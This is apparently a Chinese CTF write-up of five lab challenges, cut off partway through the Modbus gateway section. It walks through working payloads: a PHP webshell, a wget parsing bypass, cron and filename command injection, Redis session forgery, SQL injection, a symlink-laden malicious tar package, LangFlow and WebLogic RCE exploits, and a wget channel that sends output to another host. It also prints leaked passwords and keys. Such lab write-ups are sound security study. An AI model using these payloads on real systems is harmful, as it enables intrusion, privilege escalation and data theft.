比赛时间:2026-08-23 至 2026-08-23。共展开 6 题,其中 5 题全部解出(21 面 flag):Image Relay(3 面)、mesh_hub(3 面)、fleet_sync(3 面)、Integrated Intranet(11 面)、joom(1 面);next_research 一题未出。每题入口均为 SSH 跳板机,靶标位于跳板机内网,flag 按题内编号顺序整理如下。
Image Relay —— 解析差异与定时任务提权(3/3,得分 264.32)
题目:集成 FTP 文件管理与图片导航的 Web 应用(questionId: 1k0lad237vo0mr7epi3ne4i8c3ca3pc8)。SSH 跳板机 161.81.254.143:24424,内网 10.114.1.0/24,靶机 10.114.1.2。
| flag | 值 | 位置 | 手法 |
|---|---|---|---|
| flag1 | flag1{9a968071-ebd7-46ae-b076-75a621962b5b} | FTP 匿名根目录 show_img_v1.0.php 注释 | 匿名 FTP 源码泄露 |
| flag2 | flag2{59397408-9ca3-457e-bc4d-7822a2b489ff} | /rm_img.py 内 STAGE_FLAG | CVE-2024-10524 解析差异 SSRF→RCE |
| flag3 | flag3{6690d538-0bd3-473e-b49f-423dbcce21dd} | root-only 的 /flag | cron 文件名命令注入提权 |
信息收集
全端口扫描:21(vsFTPd 3.0.3)、80(Apache/2.4.52 + PHP 7.3.33,主应用"App Center")、8080(nginx 静态图片)。80 端口两个入口:
- ftp.php——"PHP FTP Web Tool",服务端代理连接 FTP,支持列目录、上传、下载;
- show.html → show_img.php?img_url=
——服务端解码 URL 后以 wget 拉取图片展示,典型 SSRF 面。
对 show_img.php 的 img_url 做矩阵化探测,实测四道校验:
| 校验 | 现象 | 结论 |
|---|---|---|
| scheme | file/ftp/gopher/https 均报 Only local images | 仅允许 http |
| host | 内网 IP 被拦、userinfo 混淆也被拦 | 严格白名单,仅 127.0.0.1/localhost |
| 字符黑名单 | 引号、$、反引号、分号、竖线、括号、空格等全灭 | shell 元字符几乎封死,命令注入不可行 |
| 路径黑名单 | 路径含 .php 直接拒绝 | 防拉取/落盘 PHP 文件 |
放行字符仅:字母 数字 . / : @ _。拉取行为为 wget -P temp_img '<url>',按 URL 最后一段落盘到 Apache 的 temp_img/ 下。
flag1:匿名 FTP 源码泄露
220 (vsFTPd 3.0.3)
USER anonymous → 230 Login successful.
根目录内容:
drwxrwxrwx pub ← 可写目录
-rwxrwxrwx show_img_v1.0.php ← 旧版源码下载 show_img_v1.0.php,开头注释即 checkpoint:
<?php
// Stage 1 checkpoint: anonymous FTP source disclosure.
// flag1{9a968071-ebd7-46ae-b076-75a621962b5b}
if(!isset($_GET['img_url'])){
die("Missing img_url parameter");
}
$img_url = base64_decode($_GET['img_url']);
...
# Legacy vulnerability fixed in the current version.
system("wget -P temp_img '".$img_url."'");源码同时交代:旧版存在 wget 拼接命令注入(无过滤),当前版本已修复(即上面实测的四道校验)。
flag2:CVE-2024-10524 解析差异绕过 → RCE
直接命令注入被字符黑名单封死。但架构上 URL 校验由 PHP 完成、真正下载的是 wget——两者解析器不一致。CVE-2024-10524 正是 wget 的解析回退缺陷:authority 出现非数字端口等畸形结构时,wget 把 URL 当 FTP 处理。
Payload 拆解:
127.0.0.1:pub/@localhost:.phtml
PHP 侧 :以 @ 切分,127.0.0.1:pub/ 是 userinfo,host=localhost 过白名单;
末段不含 php 子串;字符全在白名单内 → 四道校验全过
wget 侧 :端口位 pub/ 非数字 → 解析回退 → ftp://127.0.0.1/pub/@localhost:.phtml
匿名下载本机 FTP /pub/ 下的该文件,落盘 temp_img/@localhost:.phtml
Apache :.phtml 按 PHP 执行(PHP 7.3 默认 FilesMatch .+\.ph(ar|p|tml)$)① 上传 webshell(文件名必须与 URL 末段一致):
import io
from ftplib import FTP
webshell = b'<?php echo "AC15|"; system($_GET["1"]); ?>'
ftp = FTP("10.114.1.2")
ftp.login("anonymous", "a@b")
ftp.cwd("pub")
ftp.storbinary("STOR @localhost:.phtml", io.BytesIO(webshell))
ftp.quit()② 触发下载:
B=$(printf %s '127.0.0.1:pub/@localhost:.phtml' | base64)
curl "http://10.114.1.2/show_img.php?img_url=$B"
# 响应中 <img src="temp_img/@localhost:.phtml">③ 执行命令:
curl "http://10.114.1.2/temp_img/@localhost:.phtml?1=id"
# AC15|uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE 达成。读清理脚本拿 flag2:
curl "http://10.114.1.2/temp_img/@localhost:.phtml?1=cat%20/rm_img.py"import os
# Stage 2 checkpoint: command execution and cron inspection.
STAGE_FLAG = "flag2{59397408-9ca3-457e-bc4d-7822a2b489ff}"
all_files = os.listdir('/var/www/html/temp_img/')
file_names = [f for f in all_files if os.path.isfile(os.path.join('/var/www/html/temp_img/', f))]
for i in file_names:
os.system("rm -f /var/www/html/temp_img/"+i)两个实测坑:temp_img/ 每分钟被 cron 清空,webshell 落盘后必须立即用;wget 不覆盖同名文件,重复触发生成 .1/.2 编号副本,改了 FTP 侧内容要访问带编号的新文件。
flag3:cron 文件名命令注入提权 root
rm_img.py 把 temp_img/ 下的文件名直接拼接进 os.system(),无任何转义,而文件名对 webshell(www-data)完全可控;cron 每分钟以 root 执行:
cat /etc/cron.d/rm_img
# * * * * * root /usr/bin/python3 /rm_img.py注入 payload(webshell 中执行,单引号防本地展开):
touch '/var/www/html/temp_img/a;cp /flag /var/www/html/o.txt;b'cron 到点拼接结果:
rm -f /var/www/html/temp_img/a;cp /flag /var/www/html/o.txt;b分号截断出新命令,root 把 /flag 复制到 Web 根目录:
curl http://10.114.1.2/o.txt
# flag3{6690d538-0bd3-473e-b49f-423dbcce21dd}探索中的备选攻击面(未成为主线)
- 流氓 FTP:ftp.php 允许连接任意外部 FTP(仅 21 端口),可自建流氓 FTP 完全控制 RETR 返回内容;
- PASV 重定向内网探测:数据通道跟随 227 响应中的 IP:port,开放端口挂起约 10s、关闭端口秒回,形成时延型端口扫描——实测容器内仅 21/80/8080,排除隐藏服务;
- FTP PORT bounce:vsftpd 返回 500 Illegal PORT command,已禁用;弱口令仅 ftp:ftp(与匿名同视图)。
mesh_hub —— Spring Cloud 网关协议走私(3/3)
题目:mesh_hub(questionId: 1k0lad235tegat7epi3ne4i8c2ca3pc7),附件 mesh_hub.zip 含 ctf-gateway.jar、chestnut-admin.jar 两个可审计构件。SSH 跳板机 → 内网 10.74.1.0/24,靶机 10.74.1.3。
| flag | 值 | 位置 | 手法 |
|---|---|---|---|
| flag1 | flag1{71ae62e2-acf0-43b8-b233-d6f33d78cbd2} | 网关 JVM 启动参数 | Actuator heapdump 提取 |
| flag2 | flag2{d14dd382-715a-4252-b8a6-c9c8e5881665} | CMS 公告 noticeContent | tcps 解密代理伪造 Sa-Token 会话 |
| flag3 | flag3{dd34be18-009b-4d6a-b8e3-e54d49c792f0} | CMS 容器 /flag | 伪造会话调 Groovy 接口 RCE |
信息收集与代码审计
端口:80(CMS 前端)、6379(Redis 需认证)、8080(Spring Cloud Gateway 流量入口)、8090(CMS 后端 API)。访问 http://10.74.1.3:8080/actuator 直接列出全部端点——未认证,含两个高危端点:/actuator/gateway/routes(可读可写)与 /actuator/heapdump。附件 application.yml 证实 management.endpoints.web.exposure.include: "*"。
反编译 ctf-gateway.jar 得三个业务类,两个是核心:
TcpsSenderFilter(自定义全局过滤器)——对 scheme 为 tcps:// 的路由,把请求参数 msg(base64 的 iv(12B)+ciphertext+tag(16B))AES-GCM 解密后,明文作为原始 TCP 字节发往路由目标,响应固定 200 success:
if (!"tcps".equalsIgnoreCase(uri.getScheme()))
return chain.filter(exchange); // 只拦 tcps://
exchange.getAttributes().put(GATEWAY_ALREADY_ROUTED_ATTR, TRUE);
int port = uri.getPort() < 0 ? 1231 : uri.getPort();
String msg = exchange.getRequest().getQueryParams().getFirst("msg");
data = AesGcm.decryptIvPrefixed(Base64.getDecoder().decode(msg)); // 解密预言机
return TcpClient.create().host(host).port(port) // 明文原样发给目标 host:port
.then(writeSuccess(exchange)); // 固定回 200 successAesGcm——密钥在类加载时以强随机源生成,仅存 JVM 堆内静态字段:
static {
KeyGenerator kg = KeyGenerator.getInstance("AES");
kg.init(128, SecureRandom.getInstanceStrong());
key = kg.generateKey(); // 随网关重启轮换
}chestnut-admin.jar 中的 GroovyController:POST /groovy/exec(经网关 StripPrefix=1 后外部路径为 /prod-api/groovy/exec),需 tool:groovy:exec 权限,脚本输出放在响应 data 字段。
CMS 用 Sa-Token 认证,会话全在 Redis(key 前缀即 token-name=Authorization,loginType=sys_user):
Authorization:sys_user:token-session:<TOKEN> → SaSession 对象(Jackson 多态 JSON)
Authorization:sys_user:token:<TOKEN> → "1"(loginId)
Authorization:sys_user:last-active:<TOKEN> → "<毫秒时间戳>"flag1:heapdump 提取 JVM 启动参数
/actuator/env 的 Sanitizer 会把 sun.java.command 等属性脱敏成星号;heapdump 保留原始字符串。动作序列(先注册 tcps 路由并触发一次解密失败,促使 AesGcm 类加载、密钥入堆):
POST /actuator/gateway/routes/redis
{"id":"redis","uri":"tcps://127.0.0.1:6379",
"predicates":[{"name":"Path","args":{"_genkey_0":"/redis/**"}}],"order":-3}
POST /actuator/gateway/refresh
GET /redis/test?msg=AAAA → 400 decrypt failed(AesGcm 类加载完成)
GET /actuator/heapdump → 约 39MB hprof搜 flag 与密钥:
strings heapdump | grep -o 'flag[0-9]*{[^}]*}'
# flag1{71ae62e2-acf0-43b8-b233-d6f33d78cbd2}堆中上下文揭示注入方式:-Dmesh.hub.stage1.flag=flag1{...}。
同一份 heapdump 还有 AesGcm.key(AES-128)与 Redis 密码 1jxhjais1ue8fw。密钥提取按 hprof 两遍扫描:先收集 STRING 与 LOAD_CLASS 记录;再扫 HEAP_DUMP 段,从 com/ctf/springcloud_ctf/AesGcm 的 CLASS_DUMP 静态字段表拿到 key 引用,解到 SecretKeySpec 实例的 byte[](16 字节即 AES-128 密钥)。
密钥随时轮换:网关 JVM 重启后旧密钥解密报 Tag mismatch!,必须重拉当次堆重新提取。
flag2:tcps 解密代理伪造 Sa-Token 超管会话
网关此时已是"解密代理":本地用堆中密钥加密任意 RESP 报文 → 网关解密 → 原样写进 127.0.0.1:6379。伪造会话完整脚本:
import base64, os, json, time, secrets, requests
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
KEY = bytes.fromhex("e859924ea2f873b7092d4509a23b9172") # 当次 heapdump 提取值
def enc(plaintext: bytes) -> str:
iv = os.urandom(12)
e = Cipher(algorithms.AES(KEY), modes.GCM(iv)).encryptor()
ct = e.update(plaintext) + e.finalize()
return base64.b64encode(iv + ct + e.tag).decode() # base64(iv12+ct+tag16)
def resp_cmd(*args):
out = b"*%d\r\n" % len(args)
for a in args:
a = a.encode() if isinstance(a, str) else a
out += b"$%d\r\n%s\r\n" % (len(a), a)
return out
TOKEN = secrets.token_hex(16)
ms = int(time.time() * 1000) # 必须当前毫秒,否则 active-timeout 立即失效
session = {
"@class": "cn.dev33.satoken.session.SaSession",
"id": f"Authorization:sys_user:token-session:{TOKEN}",
"type": "Token-Session",
"loginType": "sys_user",
"token": TOKEN,
"dataMap": {"USER": {
"@class": "com.chestnut.common.security.domain.LoginUser",
"userId": "1", "userType": "sys_user", "username": "admin",
"permissions": ["java.util.ImmutableCollections$ListN", ["*"]],
"superAdministrator": True,
}},
}
payload = b"".join([
resp_cmd("auth", "1jxhjais1ue8fw"),
resp_cmd("set", f"Authorization:sys_user:token-session:{TOKEN}",
json.dumps(session, separators=(",", ":"))),
resp_cmd("set", f"Authorization:sys_user:token:{TOKEN}", '"1"'),
resp_cmd("set", f"Authorization:sys_user:last-active:{TOKEN}", f'"{ms}"'),
])
requests.get("http://10.74.1.3:8080/redis/test", params={"msg": enc(payload)})
# → 200 success(只代表网关流程走完,不代表 Redis 执行成功)用伪造会话读公告:
GET /prod-api/system/notice/list
Authorization: Bearer <TOKEN>
{"code":200,"msg":"执行成功","data":{"rows":[{
"noticeTitle":"Operational trace",
"noticeContent":"flag2{d14dd382-715a-4252-b8a6-c9c8e5881665}",
...}], "total":"2"}}细节:permissions 必须用 Jackson 多态写法 ["java.util.ImmutableCollections$ListN", ["*"]],纯 JSON 数组反序列化失败;报文用 RESP 批量字符串(按长度切分),天然免疫 JSON 引号转义。
flag3:Groovy 后台脚本执行 RCE
伪造会话的 superAdministrator + permissions=["*"] 直接通过 tool:groovy:exec 校验:
payload = '''
package com.chestnut.system.groovy;
import java.io.PrintWriter;
public class TestGroovyScript extends BaseGroovyScript {
@Override
protected void run(PrintWriter out) {
def cmd = "cat /flag".execute();
cmd.waitFor();
out.println(cmd.in.text);
}
}
'''
r = requests.post("http://10.74.1.3:8080/prod-api/groovy/exec",
json={"scriptText": payload},
headers={"Authorization": f"Bearer {TOKEN}"})
{"code":200,"msg":"执行成功","data":"flag3{dd34be18-009b-4d6a-b8e3-e54d49c792f0}\n"}踩坑:接口真实路径无 system 前缀(以反编译为准);凭直觉打 /prod-api/system/groovy/exec 会得到 500 No static resource。
fleet_sync —— 车队维护平台供应链攻击(3/3,得分 300)
题目:fleet_sync 智能车队云端维护平台(questionId: 1k0lad23a227hv7epi3ne4i8c4ca3pc9),黑盒无附件。入口 ssh://161.81.254.143:20355(ctf/3XQTzalK)。
| flag | 值 | 位置 | 手法 |
|---|---|---|---|
| flag1 | flag1{ec486fd8-85cb-40a4-ab7b-ef0c949c27c2} | stage_flags 表 | /query SQL 注入 union 拖库 |
| flag2 | flag2{03e8573c-f1a5-45f8-8ad5-fbe316c5b686} | 日志尾部审计标记 | /upload_log 服务端自动附加 |
| flag3 | flag3{94205ade-d0e2-4a80-8be0-42823b0039b7} | root-only /flag | 恶意维护包 tar 符号链接写穿 RCE |
侦察与 API 面枚举
内网 10.154.1.0/24 仅 10.154.1.3:5000 一个服务(Flask,Werkzeug/3.1.8 Python/3.11.15)。常规路径全 404,改三层爆破:字典 GET 扫描 + 领域词两段式路径扫描 + POST 扫描(405 与业务响应可区分真实 POST 路由),确认端点面:
| 端点 | 方法 | 功能 | 关键行为 |
|---|---|---|---|
| /logs?limit=N | GET | 日志列表 | 返回 id,size,created_at |
| /log?id=N | GET | 读单条日志 | realpath 必须在 /app/logs/ 下 |
| /upload_log | POST | 日志上报 | multipart 字段 file;落盘追加审计标记 |
| /query?where= | GET/POST | 版本查询 | where 拼接 SQL(注入点) |
| /check_update | GET | 代理轮询口 | 返回 versions 中 id 最大一行 |
| /report_status | POST | 安装上报 | 写 reports 表 |
flag1:/query SQL 注入(union + 堆叠写原语)
where 参数直接拼接 SQLite,语法错误原样回显。行为测绘定 payload 形态:
where=1 → near "1": syntax error(裸值不可用)
where=true → 200 返回全部行(标识符形态可用)
where=true LIMIT 0 → near "order": syntax error(尾部模板含 order by)
where=true UNION SELECT 1,2,3 → 列数正确但 ORDER BY 未闭合
where=true UNION SELECT 1,2,3-- → 200 注入成功(3 列)读库结构、拖 flag1:
GET /query?where=false UNION SELECT group_concat(sql),1,2 FROM sqlite_master--
→ versions / stage_flags / reports / logs 四表结构
GET /query?where=false UNION SELECT name,flag,description FROM stage_flags--
{"items":[..., {"url":"flag1{ec486fd8-85cb-40a4-ab7b-ef0c949c27c2}","version":"sqli"}]}关键写原语——堆叠语句报错但实际执行(Python sqlite3 先执行再抛异常,应用不回滚):
GET /query?where=true;UPDATE logs SET path="/app/app.py" WHERE id=1--
→ {"message":"You can only execute one statement at a time.","status":"error"}
但 SELECT 验证 path 已变成 /app/app.py → 全库任意写生效flag2:日志上报审计标记
echo "hello" > t.txt
curl -s -X POST -F "file=@t.txt" http://10.154.1.3:5000/upload_log
{"id":1,"status":"success"} ← 字段名只认 file
curl -s "http://10.154.1.3:5000/log?id=1"
hello
# fleet-audit-marker: flag2{03e8573c-f1a5-45f8-8ad5-fbe316c5b686}原始 9 字节存储后变 86 字节:服务端每次上传都追加 \n# fleet-audit-marker: flag2{...}\n。
flag3:边缘代理更新链 → tar 符号链接写穿 → root RCE
黑盒测绘出代理三条隐藏规则:
- /check_update 返回 versions 中 id 最大(最新插入)的行,与版本号数值无关;
- checksum/size 为空时代理直接跳过下载(最大陷阱);
- 代理每约 35 秒轮询并按 url 拉取(跳板机 OOB 服务器实测确认)。
排除项(实测无效):url 内 shell 元字符注入(带引号下载,;id 被完整当 URL 请求);tar 成员路径穿越(.. 被拒绝);/metadata 的 checksum 不构成 oracle。
RCE 后取得的源码印证缺陷组合:
def install_update(ver, pkg_path):
ver_dir = os.path.join(CACHE_DIR, "version-" + ver)
with tarfile.open(pkg_path, "r") as tar:
for member in tar.getmembers():
if '..' in member.name: # 防了路径穿越
raise RuntimeError("suspicious file detected", member.name)
tar.extractall(path=ver_dir) # ① 但不校验符号链接!
installer = os.path.join(BASE_DIR, "install.py")
r = subprocess.run([sys.executable, installer, ...])
# ② 解压后固定执行 /app/client/install.py,代理进程为 root包内先放符号链接成员 a → /app/client/install.py,再放同名普通文件成员 a:解压器创建链接后以 open() 写第二个成员,写穿符号链接覆盖真实 install.py,随后被 root 执行。
恶意安装器 install_pwn.py(侦察结果回写 /app/logs/):
import os,subprocess,glob,time
def run(c):
try: return subprocess.run(c,shell=True,capture_output=True,text=True,timeout=20).stdout
except Exception as e: return "ERR:%s\n"%e
lines=["TIME %s\n"%time.strftime("%Y-%m-%d %H:%M:%S"),
"== id ==\n"+run("id"),
"== ls / ==\n"+run("ls -la /"),
"== env ==\n"+run("env")]
for f in glob.glob("/app/client/*.py")+glob.glob("/app/*.py"):
try: lines.append("== FILE %s ==\n%s\n"%(f,open(f,errors="replace").read()))
except Exception as e: pass
lines.append("== find flags ==\n"+run('find / -maxdepth 4 -iname "*flag*" 2>/dev/null | head -50'))
for f in glob.glob("/flag*"):
try: lines.append("== FLAGFILE %s ==\n%s\n"%(f,open(f,errors="replace").read()))
except Exception as e: pass
open("/app/logs/agent_pwn.log","w").write("".join(lines))构造攻击包(tar 符号链接 + 同名文件写穿):
import tarfile, io
t = tarfile.open("pwn.tar", "w")
def reg(name, data, mode=0o644):
ti = tarfile.TarInfo(name); ti.size = len(data); ti.mode = mode
t.addfile(ti, io.BytesIO(data))
def sym(name, target):
ti = tarfile.TarInfo(name); ti.type = tarfile.SYMTYPE; ti.linkname = target
t.addfile(ti)
reg("release_notes.txt", b"Initial release\nDemo fixes and improvements\n") # 伪装正常包
reg("car.img", b"") # 与官方包一致(空镜像)
sym("a", "/app/client/install.py") # ① 符号链接成员
reg("a", open("install_pwn.py","rb").read(), 0o755) # ② 同名文件写穿
t.close()三步投递(结合规则 1/2):
# ① 上传恶意包(tar 解析忽略尾部追加的 marker 文本)
curl -s -X POST -F "file=@pwn.tar;type=application/x-tar" http://10.154.1.3:5000/upload_log
{"id":47,"status":"success"}
# ② 计算实际服务字节(tar+marker 行)的 sha256/size —— checksum 门禁要求
curl -s "http://10.154.1.3:5000/log?id=47" | sha256sum
81d96f644ccf76c51e692c7019c8907fe640c732f0650551b6687143e133e838
curl -s "http://10.154.1.3:5000/log?id=47" | wc -c
10307# ③ SQLi 堆叠注册新版本(成为最新 id 行 + checksum/size 非空)
GET /query?where=true;INSERT INTO versions(version,url,created_at,notes,checksum,size)
VALUES('7.7.7-pwn','/log?id=47',datetime('now'),'',
'81d96f644ccf76c51e692c7019c8907fe640c732f0650551b6687143e133e838',10307)--
curl -s http://10.154.1.3:5000/check_update
{"url":"/log?id=47","version":"7.7.7-pwn"}约 35 秒后代理完成"下载 → 解压(写穿覆盖 install.py)→ root 执行"。回传读取:
GET /query?where=true;UPDATE logs SET path="/app/logs/agent_pwn.log" WHERE id=1--
curl -s "http://10.154.1.3:5000/log?id=1"
== id ==
uid=0(root) gid=0(root) groups=0(root)
== FLAGFILE /flag ==
flag3{94205ade-d0e2-4a80-8be0-42823b0039b7}黑盒阶段最有价值的经验:checksum 空值门禁让早期注册的版本代理始终不下载,兜圈换了无数包结构——应先用 OOB 验证"代理到底拉没拉"再谈包内容;报错不等于失败,堆叠语句要验证副作用;tar-slip 被防御而符号链接不设防,两类都要测。
Integrated Intranet —— 四安全域横向渗透(11/11,得分 766.99)
题目:Integrated Intranet(questionId: 1k0lad23h8tm9m7epi3ne4i8c7ca3pcc)。SSH 跳板机 161.81.254.143:20159(ctf/9wqb05pc)→ 四安全域仿真内网,双网卡主机逐级串联:
DMZ 10.109.2.0/24 :门户(10.109.2.8)★双网卡 → 业务区
10.109.2.5 MinIO 9000/9001 · 10.109.2.6 MCP-Hub 8000
10.109.2.7 LangFlow 7860 · 10.109.2.3 MySQL 3306(未用到)
业务区 10.106.2.0/24 :WebLogic(10.106.2.3:7001)★双网卡 → 研发区
研发区 10.107.2.0/24 :CodeForge AI(10.107.2.3:8000)★双网卡 → 工控区
工控区 10.108.2.0/24 :超算中心(10.108.2.3:8080) · Modbus 网关(10.108.2.4:5020)| flag | 值 | 位置 | 关键手法 |
|---|---|---|---|
| flag1 | flag1{de80d9b83294ef84258763431a1cf73f} | DMZ 门户 /var/www/html/flag | 模板 eval RCE 后读文件 |
| flag2 | flag2{4960bb72bbba9645a1f06d88857eb467} | DMZ 门户 /flAg | 同上 |
| flag3 | flag3{ea98e3c575134e213058f42482f91a0d} | DMZ MinIO flag 桶 fLag 对象 | config.php 泄露凭证 |
| flag4 | flag4{d200954787478165deaa2be540735e85} | DMZ MariaDB corp_portal.flag 表 | news.php 联合注入拖库 |
| flag5 | flag5{e75a9e5f165e92de3a94fd2013a29c11} | DMZ LangFlow /flaG | CVE-2025-3248 未授权 RCE |
| flag6 | flag6{bb3f4cfcb30450d155e6b1fe59698db2} | DMZ MCP-Hub /F1aaag | 盲注拿 admin token → 工具链执行 |
| flag7 | flag7{c1883b36a2db1f158bbb21f0894f73d6} | 业务区 WebLogic /F1ag | CVE-2017-10271 盲打+回传链 |
| flag8 | flag8{e83bf528d67458ab6c8271af85731ad1} | 工控区 Modbus 网关 | cmd7 重置密码直接返回 |
| flag9 | flag9{5358c00018c8c5c38538bfd65e90fa80} | 工控区 Modbus 网关 | cmd6 登录 + cmd5 命令执行 |
| flag10 | flag10{f18f285eb9e63be9303fb5c7981999c6} | 工控区超算中心 | 路径穿越 + 恶意固件上传 |
| flag11 | flag11{2a50daae8fb60761fc0c33ad1eb061ee} | 研发区 CodeForge /F1ag | Agent shell 解锁 + pytest RCE |
攻击链总览
本题依赖链较长,先行说明:DMZ 政务门户是主线突破口——SQL 注入(flag4)读到 config.php 与前端加密脚本,解出 admin 口令登录后台,确认模板引擎存在 eval 渲染,借库中预置模板实现未授权 RCE(flag1/flag2);config.php 里的 MinIO 凭证再拿下对象存储(flag3)。门户机双网卡通业务区,WebLogic(flag7)双网卡通研发区 CodeForge(flag11),后者双网卡通工控区(flag8/flag9/flag10)。LangFlow(flag5)与 MCP-Hub(flag6)为 DMZ 内独立入口。以下按 flag 编号顺序逐面展开。
flag1 / flag2:政务门户模板 eval RCE
前置(注入与拖库细节见 flag4):以 news.php 注入 + LOAD_FILE 读出 config.php 与 /static/crypto.js,用其中的 AES-128-ECB 固定密钥解开 users 表,得到 admin 口令 RolloMir202x@cool123,登录后台(admin/login.php 提交 AES 加密后的密码)。
读 includes/template.php,发现模板渲染直接 eval:
function render_template($template, $vars = []) {
extract($vars);
return preg_replace_callback('/\{\{\s*(.+?)\s*\}\}/s',
function ($m) use ($vars) { extract($vars); return eval('return ' . trim($m[1]) . ';'); },
$template);
}首页渲染 notice_template,而库里预置值就是 {{ shell_exec($_GET["c"]) }}——未授权 RCE:
GET /?c=id → uid=33(www-data)
GET /?c=cat+/var/www/html/flag → flag1{de80d9b83294ef84258763431a1cf73f}
GET /?c=cat+/flAg → flag2{4960bb72bbba9645a1f06d88857eb467}/proc/net/fib_trie 发现该机双网卡 10.109.2.8 + 10.106.2.2——业务区入口到手(见 flag7)。
flag3:MinIO
用泄露凭证 minioadmin / rollotomaxx@minioadmin(来自门户 config.php,见 flag4)走 S3 SigV4(自写约 60 行 python 签名客户端,容器无 mc):列桶得 deploy、flag;flag 桶内对象 fLag 即 flag3{ea98e3c575134e213058f42482f91a0d}。deploy 桶另泄露门户整站源码与 Industrial_Gate_damo.zip(Modbus 网关 worker 源码,为 flag8/9 铺路)。
flag4:SQL 注入与拖库
news.php?id= 经典注入(MariaDB 11.8,DB 用户 root@localhost,无 WAF):
id=1' → PDO 报错(注入确认)
id=1 order by 2 → 正常;order by 3 报错 → 2 列
id=-1 union select 1,2 → 第 1 列回显为标题
union select group_concat(concat_ws(0x3a,id,flag)),2 from flag
→ flag4{d200954787478165deaa2be540735e85} (corp_portal 库 flag 表)LOAD_FILE 读源码 → 凭证连环泄露
DB 是 root,hex 编码回显读源码:
union select hex(load_file(0x2f7661722f7777772f68746d6c2f636f6e6669672e706870)),2/var/www/html/config.php 泄露三类关键信息:
define('DB_PASS', 'Asterion#SecureDb!2026'); // MariaDB root
define('MINIO_USER', 'minioadmin');
define('MINIO_PASS', 'rollotomaxx@minioadmin'); // MinIO 超管 → flag3
// 密码前端 AES 加密,见 /static/crypto.jscrypto.js 给出 AES-128-ECB 固定密钥 RolloTomasi202x!,解开 users 表全部口令:admin=RolloMir202x@cool123、zhangsan=Zhangsan@123、lisi=Lisi@123456、wangwu=Wangwu@123。settings 表另有伏笔:notice_template = {{ shell_exec($_GET["c"]) }}。
flag5:LangFlow CVE-2025-3248
http://10.109.2.7:7860/api/v1/version 报 1.2.0,存在 CVE-2025-3248(/api/v1/validate/code 未授权代码执行)。decorator 在 exec() 上下文注入:
POST /api/v1/validate/code
{"code": "@exec(\"raise Exception(__import__('subprocess').check_output('id', shell=True, text=True))\")\ndef foo(): pass"}响应的 function.errors 直接回显命令输出且为 root。容器根目录读 /flaG → flag5{e75a9e5f165e92de3a94fd2013a29c11}。环境变量另泄露超管 administrator / TQI.#Lxk。
坑:LangFlow 容器无 ip/ss/curl,只有 python3;枚举用 /proc/net/fib_trie + fcntl.ioctl(SIOCGIFADDR)。
flag6:MCP-Hub 五段式工具链(本题最硬一环)
① 布尔盲注拿 admin token。前端 app.js 注释直接标注 Marketplace (SQL Injection Entry Point)。查询上下文是 LIKE '%search%',WAF 拦 /* 和 --,不能用注释符,用模式闭合术构造 oracle:
search = zzz%' OR <COND> AND '%'='
→ WHERE name LIKE '%zzz%' OR <COND> AND '%'='%'COND 真返回 4 条、假返回 0 条。substr+unicode() 二分逐字符提取 (SELECT api_token FROM users WHERE username='admin'),得 mcp_admin_8074543d5bc031ef5bd2f699(chains 接口全部 admin-only,强制入口)。
② Protocol Monitor 发现隐藏工具:POST /api/monitor/discover 起始工具 mcp_recon;执行后发现 mcp_recon / mcp_crafter / mcp_executor 三个工具。
③ 命令分片过链边界 WAF:crafter 要求 fragments[],命令按 ≤3 字符分片(cat /F1aaag → ["cat"," /F","1aa","ag"])。
④ 解密链步骤响应:前端写明步骤响应用 aes-256-xor 加密、密钥 sha256("{user_id}:{timestamp}")——实测就是 sha256 密钥循环 XOR:
key = sha256(f"{user_id}:{timestamp}".encode()).digest()
plain = bytes(b ^ key[i % 32] for i, b in enumerate(raw))⑤ 动态授权码 + 紧邻上一步签名:POST /api/auth/compute_code {"tool_id":"mcp_executor","timestamp":<step0_ts>} 拿 auth_code;executor 入参 {payload, auth_code, timestamp(=step0), upstream_signature(=crafter 的 hmac_signature)}。执行 cat /F1aaag 得 flag6{bb3f4cfcb30450d155e6b1fe59698db2},响应 chain_bypass=true 确认绕过链成立。
flag7:WebLogic CVE-2017-10271 盲打与回传链
门户机扫业务区发现 10.106.2.3:7001(Servlet/2.5 即 WebLogic 10.3.6 时代),/wls-wsat/CoordinatorPortType 200 → XMLDecoder 反序列化 RCE:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string><![CDATA[ <命令> ]]></string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext></soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>两个坑:ProcessBuilder 无无参构造,必须用 void class 标签而非 object;容器无 curl 只有 wget/bash。
回传链(路径上每一跳都不能直连):WebLogic 用 wget 把命令输出的 URL 安全 base64 编进门户 RCE 的 c 参数,门户侧 recv.sh 解码落盘,跳板机再读回:
# WebLogic 侧(塞进进程布)
OUT=$({ <cmd> ; } 2>&1 | base64 -w0 | tr '/+' '_-')
wget -q -T8 -O/dev/null "http://10.106.2.2/?c=/bin/bash%20/tmp/w-d913/recv.sh%20$OUT"
# 门户侧 recv.sh
echo "$1" | tr '_-' '/+' | base64 -d > /tmp/w-d913/wl-w1.out坑:GNU tr 把 - 开头的字符集当选项(invalid option),调换成 tr '/+' '_-' 解决。
链路打通后 WebLogic 为 root,读 /F1ag → flag7{c1883b36a2db1f158bbb21f0894f73d6};其双网卡 10.106.2.3 + 10.107.2.2 通研发区。
flag8:Modbus 网关——重置密码直接返回 flag
网关 10.108.2.4:5020 跑的正是 MinIO deploy 桶泄露的 worker 源码:轮询保持寄存器,trigger=1 时按 cmd_id 分发。寄存器协议:
| 地址 | 含义 |
|---|---|
| 0 | cmd_id(命令字) |
| 1 | trigger(写 1 触发,执行后清 0) |
| 2..65 | 参数区(ASCII 大端打包进 16 位寄存器,奇数长度补 \x00) |
| 100 | 输出长度(字节数) |
| 101..132 | 输出内容 |
命令字:1 date / 2 echo / 3 rand / 4 help / 5 safe_exec(需认证)/ 6 login / 7 reset_password。
自写客户端核心(MBAP + FC0x10 写多寄存器 / FC0x03 读):
def run_cmd(self, cmd_id, param, tid):
regs = ascii_to_regs(param)
self.write_regs(tid, 2, regs + [0] * (64 - len(regs))) # 先写参数区
self.write_regs(tid + 1, 0, [cmd_id]) # 再写命令字
self.write_regs(tid + 2, 1, [1]) # 最后写触发位
